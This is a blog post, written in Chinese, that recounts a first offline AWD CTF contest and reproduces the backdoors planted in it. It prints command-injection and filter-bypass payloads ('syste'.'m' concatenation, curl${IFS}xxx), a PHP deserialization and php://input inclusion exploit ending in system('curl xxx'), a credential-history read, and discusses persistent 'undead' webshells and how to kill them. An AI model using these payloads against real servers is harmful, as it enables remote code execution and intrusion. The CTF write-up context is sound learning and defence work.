记第一次线下AWD感受及复现

前言:

之前忙于期末复习,没有及时总结当时参赛的感受及复现,这次就来总结一下。

第一次参赛线下AWD感受

由于是第一次参加AWD比赛,各方面经验都不足,在参赛的前几天也是疯狂搜集各种脚本、框架、工具等,同时也参考大师傅的博客进行学习,下面就叙述一下我学习的过程:

一、进行备份

看了很多大师傅的博客,有的师傅博客中写到有些AWD比赛可能给的SSH账户密码相同,所以可以下载一些Github上修改SSH密码的批量脚本,可以让对手在一开始就丢分,但是经过这次比赛,发现其实现在的比赛已经不会再出现这种人为的漏洞了,主办方也会避免这种漏洞出现,否则整场比赛也没什么意意义了,因此我觉得批量修改SSH密码的脚本在线下赛是没有用处的,不过最好也备份一份,万一主办方懒那(那就有点爽了)。。。

那一开始比赛的时候要做什么,比赛一般都是三个人一队,要想在短时间内获得flag且防护好自己的靶机,就需要队伍内部提前明确好分工,这样效率会很高。

除此之外还需要finalshell这个工具,这个工具是用来连接你的靶机的,非常方便,只需输入靶机IP、SSH账号密码即可控制自己的靶机、为备份、挂waf等做准备
记第一次线下AWD感受及复现_第1张图片
比赛开始,第一步进行备份,最好使用可视化工具FileZilla FTP Client进行备份,也可以用linux本身的压缩打包命令,备份的目的在于万一对方利用漏洞进入你的靶机将你的WWW下的目录给删除了,如果你没有备份就相当于宕机了,那就等着扣分吧,因此备份是非常重要的,使用主办方给的SSH账号密码、主机IP进行连接备份
记第一次线下AWD感受及复现_第2张图片

二、查找预留后门或漏洞

备份的另一个好处就是可以审计源码,因为大家的WWW目录下的服务都是一样的,因此如果我们能率先在源码中找出漏洞的话便可以收一波分,这里就用到D盾,可以用这个工具查出是否有预留后门或其他利用点
记第一次线下AWD感受及复现_第3张图片
这样也有一个进行攻击的方向,除此之外还有一个便是Seay源代码审计工具记第一次线下AWD感受及复现_第4张图片
这个也可以提供一个你攻击的方向

三、备好或写脚本

脚本、脚本、脚本!!!非常重要,参加一次比赛发现真的脚本能力实在是太重要了,发现漏洞很重要,但是如果不会写出相应的批量脚本,你可以想象一下那么多只队伍,三个人手动提交,flag到后面每五分钟刷新一次,效率又低又累的要死,因此无论如何都要提高脚本能力(虽然我的脚本很烂,但一定会慢慢提高的),AWD比赛到后面就是比的脚本能力,前提是你要先找出漏洞。如果你和我一样目前脚本能力都很弱,也不用慌张,大师傅们的Github上有很多人家写好的,只需我们看懂,会改就可以用,这里我就不列举资源了,谷歌百度一搜索一堆。总之一句话,学好python,学会自己写脚本,真的很重要!!!

还有就是备份一下常见的POC,因为大多数AWD比赛都是各种CMS,这些CMS或多或少都存在漏洞,有时POC可以帮大忙,GitHub上都有,这里就不列出了

四、心态

参加一次比赛,基本流程就是上面的了,但我觉得有一点很重要,不要抱着我们必须拿多少名次的心态,就放平心态,不要慌张,如果被人打了,要去审查日志,看大师傅是怎么打你的,如果看出人家利用的攻击方式,那你就可以利用这个点拿分,如果心态崩了,整场游戏将毫无乐趣,切记调整好心态,前几次参赛就不要太在乎名次,有更好,没有继续努力,不过需要总结之前是失败到哪里了,不能在一个坑中连续跌倒多次,这样才能进步。

二、复现

这次的比赛算是比较照顾新手了,没有出现CMS官方的一些漏洞,因此POC也就没用到,而是主办方给选手留了很多预留后门,比赛时只成功利用了一个(我们比较菜)但还是刷了不少分,比赛结束了就将所有的预留漏洞都来复现一下,不能因比赛结束后就什么也不做。

首先先连接上自己的靶机
记第一次线下AWD感受及复现_第5张图片
利用工具连接到靶机,并找到WWW目录进行备份相应的服务
记第一次线下AWD感受及复现_第6张图片
备份成功后进行D盾扫描
记第一次线下AWD感受及复现_第7张图片
发现有三个可疑点,先来看第一个

第一个预留后门:预留后门

记第一次线下AWD感受及复现_第8张图片
一句话木马,直接上蚁剑
记第一次线下AWD感受及复现_第9张图片
连接成功便可以使用curl命令获取你想要的flag了,但是这么简单的后门大家都知道,所以这就需要拼手速了,脚本的重要性便体现出来了
记第一次线下AWD感受及复现_第10张图片
这是大师傅之前写的,我们只是在修改了具体的一些参赛,但也因此获得了很多flag,所以脚本是真的很重要!!!,其实自己观察脚本的话,发现也不是很难,重要的便是在于思路,还是要多加练习。

第二个预留后门:冰蝎一句话

我们是真的菜,当时比赛的时候竟然就没发现这个冰蝎一句话,复现的时候发现这个冰蝎马还是下载冰蝎时自带的马。。。

记第一次线下AWD感受及复现_第11张图片
唉,当时如果看出来就第一了,继续加油吧,还是懂的太少!

第三个预留后门:常见绕过

记第一次线下AWD感受及复现_第12张图片
这串代码过滤很多高危函数字符如常用的system
在这里插入图片描述
如果绕开遍历便可以输入恶意语句,那就需要考虑如果进行绕过了,可以利用拼接的方式进行绕过:

payload:

?cmd=$a='syste';$b='m';$c=$a.$b;$c('curl xxx');

记第一次线下AWD感受及复现_第13张图片确实是可以利用的,越复现感觉自己越菜。。。

第四个预留后门:命令执行+变量覆盖

这个最可惜,当时我们被打的时候,发现有人是通过一个ping_test.php文件来请求的,我们就查看了一下这个文件,果然是命令执行,但是过滤了一些东西
记第一次线下AWD感受及复现_第14张图片
通过观察发现引入一个define.php文件,查看文件发现
在这里插入图片描述
记第一次线下AWD感受及复现_第15张图片
很明显的看出了过滤了空格,不行了不能复现了,我想打自己

绕过空格的方法有%09${IFS}

payload:

des=| curl${IFS}xxx

记第一次线下AWD感受及复现_第16张图片

第五个预留后门:信息收集+反序列化+文件包含

在审计源码的时候,发现在admin.php中发现有一句提示
记第一次线下AWD感受及复现_第17张图片
既然如此就去查看MySQL的history,看一下改变了什么

cat /root/.mysql_history

记第一次线下AWD感受及复现_第18张图片
这个目录保存着对MYSQL的操作记录,这里由于我是在自己本地搭建所以没有信息,不过在比赛的时候应该是会提示到\html\public\ueditor\php\controller.php,再观察phpinfo,发现allow_url_include为On,所以可以使用php://input协议可直接getshell

查看文件发现
记第一次线下AWD感受及复现_第19张图片在这里插入图片描述
很明显了直接进行反序列化

官方给的POC

class Control{
	public $file = '';
	private $flag; 
	public function __destruct(){
	 	if(isset($this->file) && !preg_match('/<\?/is', $this->file)){ 
	 	require($this->file); 
	 	}
	}
}
$a = new Control(); 
$a->file = 'php://input'; 
echo serialize($a);

在线运行一下
记第一次线下AWD感受及复现_第20张图片
请求:

?action=shell&data=O:7:"Control":2: {s:4:"file";s:11:"php://input";s:13:"%00Control%00flag";N;}

POST传入

 system('curl xxx'); ?>

记第一次线下AWD感受及复现_第21张图片
但这里我没有复现成功

小插曲:上传不死马

在一开始蚁剑连接上了就想着放入一个不死马
记第一次线下AWD感受及复现_第22张图片
发现一直是失败,明明比赛给的权限是root,所以就没有管,待后面公布WP才知道是在upload文件夹下有权限上传。。。。
记第一次线下AWD感受及复现_第23张图片
哎呀 不行写完这篇总结打一句联盟发泄一下,我怎么这么菜啊

下面就说一下如何用不死马,以防自己忘记
记第一次线下AWD感受及复现_第24张图片
这便是常见的不死马,密码自己设置并且进行md5加密,我这里设置的是lemon

如果上传不死马成功后,就先来触发
记第一次线下AWD感受及复现_第25张图片
触发成功,进行查看
记第一次线下AWD感受及复现_第26张图片
木马出现,进行连接
记第一次线下AWD感受及复现_第27张图片
利用成功!!!

如果自己靶机被别人种了不死马,如果有权限可以使用service apache2 restart,直接删除即可

如果没有权限重启就kill掉www-data用户的所有子进程

ps aux | grep www-data | awk '{print $2}' | xargs kill -9

记第一次线下AWD感受及复现_第28张图片
确实删除成功

三、创建一个和不死马生成的马一样名字的目录

太菜了,没复现成功,具体看其他大师傅的吧!!

四、编写一个使用ignore_user_abort(true)函数的脚本,一直竞争写入删除不死马文件,其中usleep()的时间必须要小于不死马的usleep()时间才会有效果


while (1) {
	$pid = 不死马的进程PID;
	@unlink(".ski12.php");
	exec("kill -9 $pid");
	usleep(1000);
}
?>

总结:

我比较喜欢第二种杀进程的,因为比较简单,估计之后会遇到其他的,之后再说吧,不过我是真的菜的一批,一定要好好练脚本能力,这些对大师傅没有什么技术含量,不要喷我。。。

你可能感兴趣的:(AWD)